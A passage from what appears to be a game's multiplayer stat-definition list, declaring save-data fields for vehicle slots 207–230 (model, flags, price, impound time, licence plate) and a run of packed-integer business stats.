+(int)MPSV_MODEL_207 // Add MP0_ or MP1_ // Vehicle_207 model enum of vehicle +(int)MPSV_FLAGS_207 // Add MP0_ or MP1_ // Vehicle_207 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_207 // Add MP0_ or MP1_ // Vehicle_207 cost of vehicle when purchased + +(u64)MPSV_LP0_207 // Add MP0_ or MP1_ // Vehicle_207 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_208 // Add MP0_ or MP1_ // Vehicle_208 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_208 // Add MP0_ or MP1_ // Vehicle_208 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_208 // Add MP0_ or MP1_ // Vehicle_208 premium paid by destroyer of vehicle +(int)MPSV_MODEL_208 // Add MP0_ or MP1_ // Vehicle_208 model enum of vehicle +(int)MPSV_FLAGS_208 // Add MP0_ or MP1_ // Vehicle_208 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_208 // Add MP0_ or MP1_ // Vehicle_208 cost of vehicle when purchased + +(u64)MPSV_LP0_208 // Add MP0_ or MP1_ // Vehicle_208 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_209 // Add MP0_ or MP1_ // Vehicle_209 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_209 // Add MP0_ or MP1_ // Vehicle_209 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_209 // Add MP0_ or MP1_ // Vehicle_209 premium paid by destroyer of vehicle +(int)MPSV_MODEL_209 // Add MP0_ or MP1_ // Vehicle_209 model enum of vehicle +(int)MPSV_FLAGS_209 // Add MP0_ or MP1_ // Vehicle_209 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_209 // Add MP0_ or MP1_ // Vehicle_209 cost of vehicle when purchased + +(u64)MPSV_LP0_209 // Add MP0_ or MP1_ // Vehicle_209 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_210 // Add MP0_ or MP1_ // Vehicle_210 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_210 // Add MP0_ or MP1_ // Vehicle_210 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_210 // Add MP0_ or MP1_ // Vehicle_210 premium paid by destroyer of vehicle +(int)MPSV_MODEL_210 // Add MP0_ or MP1_ // Vehicle_210 model enum of vehicle +(int)MPSV_FLAGS_210 // Add MP0_ or MP1_ // Vehicle_210 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_210 // Add MP0_ or MP1_ // Vehicle_210 cost of vehicle when purchased + +(u64)MPSV_LP0_210 // Add MP0_ or MP1_ // Vehicle_210 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_211 // Add MP0_ or MP1_ // Vehicle_211 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_211 // Add MP0_ or MP1_ // Vehicle_211 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_211 // Add MP0_ or MP1_ // Vehicle_211 premium paid by destroyer of vehicle +(int)MPSV_MODEL_211 // Add MP0_ or MP1_ // Vehicle_211 model enum of vehicle +(int)MPSV_FLAGS_211 // Add MP0_ or MP1_ // Vehicle_211 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_211 // Add MP0_ or MP1_ // Vehicle_211 cost of vehicle when purchased + +(u64)MPSV_LP0_211 // Add MP0_ or MP1_ // Vehicle_211 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_212 // Add MP0_ or MP1_ // Vehicle_212 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_212 // Add MP0_ or MP1_ // Vehicle_212 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_212 // Add MP0_ or MP1_ // Vehicle_212 premium paid by destroyer of vehicle +(int)MPSV_MODEL_212 // Add MP0_ or MP1_ // Vehicle_212 model enum of vehicle +(int)MPSV_FLAGS_212 // Add MP0_ or MP1_ // Vehicle_212 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_212 // Add MP0_ or MP1_ // Vehicle_212 cost of vehicle when purchased + +(u64)MPSV_LP0_212 // Add MP0_ or MP1_ // Vehicle_212 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_213 // Add MP0_ or MP1_ // Vehicle_213 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_213 // Add MP0_ or MP1_ // Vehicle_213 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_213 // Add MP0_ or MP1_ // Vehicle_213 premium paid by destroyer of vehicle +(int)MPSV_MODEL_213 // Add MP0_ or MP1_ // Vehicle_213 model enum of vehicle +(int)MPSV_FLAGS_213 // Add MP0_ or MP1_ // Vehicle_213 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_213 // Add MP0_ or MP1_ // Vehicle_213 cost of vehicle when purchased + +(u64)MPSV_LP0_213 // Add MP0_ or MP1_ // Vehicle_213 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_214 // Add MP0_ or MP1_ // Vehicle_214 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_214 // Add MP0_ or MP1_ // Vehicle_214 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_214 // Add MP0_ or MP1_ // Vehicle_214 premium paid by destroyer of vehicle +(int)MPSV_MODEL_214 // Add MP0_ or MP1_ // Vehicle_214 model enum of vehicle +(int)MPSV_FLAGS_214 // Add MP0_ or MP1_ // Vehicle_214 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_214 // Add MP0_ or MP1_ // Vehicle_214 cost of vehicle when purchased + +(u64)MPSV_LP0_214 // Add MP0_ or MP1_ // Vehicle_214 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_215 // Add MP0_ or MP1_ // Vehicle_215 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_215 // Add MP0_ or MP1_ // Vehicle_215 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_215 // Add MP0_ or MP1_ // Vehicle_215 premium paid by destroyer of vehicle +(int)MPSV_MODEL_215 // Add MP0_ or MP1_ // Vehicle_215 model enum of vehicle +(int)MPSV_FLAGS_215 // Add MP0_ or MP1_ // Vehicle_215 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_215 // Add MP0_ or MP1_ // Vehicle_215 cost of vehicle when purchased + +(u64)MPSV_LP0_215 // Add MP0_ or MP1_ // Vehicle_215 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_216 // Add MP0_ or MP1_ // Vehicle_216 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_216 // Add MP0_ or MP1_ // Vehicle_216 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_216 // Add MP0_ or MP1_ // Vehicle_216 premium paid by destroyer of vehicle +(int)MPSV_MODEL_216 // Add MP0_ or MP1_ // Vehicle_216 model enum of vehicle +(int)MPSV_FLAGS_216 // Add MP0_ or MP1_ // Vehicle_216 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_216 // Add MP0_ or MP1_ // Vehicle_216 cost of vehicle when purchased + +(u64)MPSV_LP0_216 // Add MP0_ or MP1_ // Vehicle_216 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_217 // Add MP0_ or MP1_ // Vehicle_217 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_217 // Add MP0_ or MP1_ // Vehicle_217 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_217 // Add MP0_ or MP1_ // Vehicle_217 premium paid by destroyer of vehicle +(int)MPSV_MODEL_217 // Add MP0_ or MP1_ // Vehicle_217 model enum of vehicle +(int)MPSV_FLAGS_217 // Add MP0_ or MP1_ // Vehicle_217 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_217 // Add MP0_ or MP1_ // Vehicle_217 cost of vehicle when purchased + +(u64)MPSV_LP0_217 // Add MP0_ or MP1_ // Vehicle_217 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_218 // Add MP0_ or MP1_ // Vehicle_218 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_218 // Add MP0_ or MP1_ // Vehicle_218 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_218 // Add MP0_ or MP1_ // Vehicle_218 premium paid by destroyer of vehicle +(int)MPSV_MODEL_218 // Add MP0_ or MP1_ // Vehicle_218 model enum of vehicle +(int)MPSV_FLAGS_218 // Add MP0_ or MP1_ // Vehicle_218 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_218 // Add MP0_ or MP1_ // Vehicle_218 cost of vehicle when purchased + +(u64)MPSV_LP0_218 // Add MP0_ or MP1_ // Vehicle_218 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_219 // Add MP0_ or MP1_ // Vehicle_219 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_219 // Add MP0_ or MP1_ // Vehicle_219 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_219 // Add MP0_ or MP1_ // Vehicle_219 premium paid by destroyer of vehicle +(int)MPSV_MODEL_219 // Add MP0_ or MP1_ // Vehicle_219 model enum of vehicle +(int)MPSV_FLAGS_219 // Add MP0_ or MP1_ // Vehicle_219 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_219 // Add MP0_ or MP1_ // Vehicle_219 cost of vehicle when purchased + +(u64)MPSV_LP0_219 // Add MP0_ or MP1_ // Vehicle_219 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_220 // Add MP0_ or MP1_ // Vehicle_220 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_220 // Add MP0_ or MP1_ // Vehicle_220 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_220 // Add MP0_ or MP1_ // Vehicle_220 premium paid by destroyer of vehicle +(int)MPSV_MODEL_220 // Add MP0_ or MP1_ // Vehicle_220 model enum of vehicle +(int)MPSV_FLAGS_220 // Add MP0_ or MP1_ // Vehicle_220 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_220 // Add MP0_ or MP1_ // Vehicle_220 cost of vehicle when purchased + +(u64)MPSV_LP0_220 // Add MP0_ or MP1_ // Vehicle_220 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_221 // Add MP0_ or MP1_ // Vehicle_221 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_221 // Add MP0_ or MP1_ // Vehicle_221 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_221 // Add MP0_ or MP1_ // Vehicle_221 premium paid by destroyer of vehicle +(int)MPSV_MODEL_221 // Add MP0_ or MP1_ // Vehicle_221 model enum of vehicle +(int)MPSV_FLAGS_221 // Add MP0_ or MP1_ // Vehicle_221 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_221 // Add MP0_ or MP1_ // Vehicle_221 cost of vehicle when purchased + +(u64)MPSV_LP0_221 // Add MP0_ or MP1_ // Vehicle_221 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_222 // Add MP0_ or MP1_ // Vehicle_222 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_222 // Add MP0_ or MP1_ // Vehicle_222 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_222 // Add MP0_ or MP1_ // Vehicle_222 premium paid by destroyer of vehicle +(int)MPSV_MODEL_222 // Add MP0_ or MP1_ // Vehicle_222 model enum of vehicle +(int)MPSV_FLAGS_222 // Add MP0_ or MP1_ // Vehicle_222 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_222 // Add MP0_ or MP1_ // Vehicle_222 cost of vehicle when purchased + +(u64)MPSV_LP0_222 // Add MP0_ or MP1_ // Vehicle_222 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_223 // Add MP0_ or MP1_ // Vehicle_223 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_223 // Add MP0_ or MP1_ // Vehicle_223 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_223 // Add MP0_ or MP1_ // Vehicle_223 premium paid by destroyer of vehicle +(int)MPSV_MODEL_223 // Add MP0_ or MP1_ // Vehicle_223 model enum of vehicle +(int)MPSV_FLAGS_223 // Add MP0_ or MP1_ // Vehicle_223 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_223 // Add MP0_ or MP1_ // Vehicle_223 cost of vehicle when purchased + +(u64)MPSV_LP0_223 // Add MP0_ or MP1_ // Vehicle_223 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_224 // Add MP0_ or MP1_ // Vehicle_224 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_224 // Add MP0_ or MP1_ // Vehicle_224 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_224 // Add MP0_ or MP1_ // Vehicle_224 premium paid by destroyer of vehicle +(int)MPSV_MODEL_224 // Add MP0_ or MP1_ // Vehicle_224 model enum of vehicle +(int)MPSV_FLAGS_224 // Add MP0_ or MP1_ // Vehicle_224 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_224 // Add MP0_ or MP1_ // Vehicle_224 cost of vehicle when purchased + +(u64)MPSV_LP0_224 // Add MP0_ or MP1_ // Vehicle_224 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_225 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_225 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_225 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_225 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_225 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_225 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_225 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_226 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_226 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_226 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_226 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_226 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_226 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_226 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_227 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_227 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_227 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_227 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_227 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_227 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_227 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_228 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_228 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_228 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_228 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_228 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_228 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_228 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_229 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_229 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_229 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_229 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_229 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_229 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_229 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_230 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_230 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_230 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_230 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_230 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_230 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_230 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + + + +(packed)BUSINESSBATPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT33 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT34 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT35 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT36 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT37 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT38 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT39 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT40 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT41 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT42 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT43 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT44 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT45 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT46 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT47 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT48 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT49 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT50 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT51 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT52 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT53 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT54 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT55 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT56 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT57 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT58 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT59 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT60 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT61 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT62 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT63 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT64 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT65 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT66 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT67 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT68 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT69 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT70 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT71 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT72 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT73 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT74 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT75 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT76 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT77 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT78 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT79 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT80 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT81 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT82 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT83 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT84 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT85 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT86 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT87 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT88 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT89 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT90 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT91 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT92 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT93 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT94 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT95 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT96 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT97 // Add MP0_ or 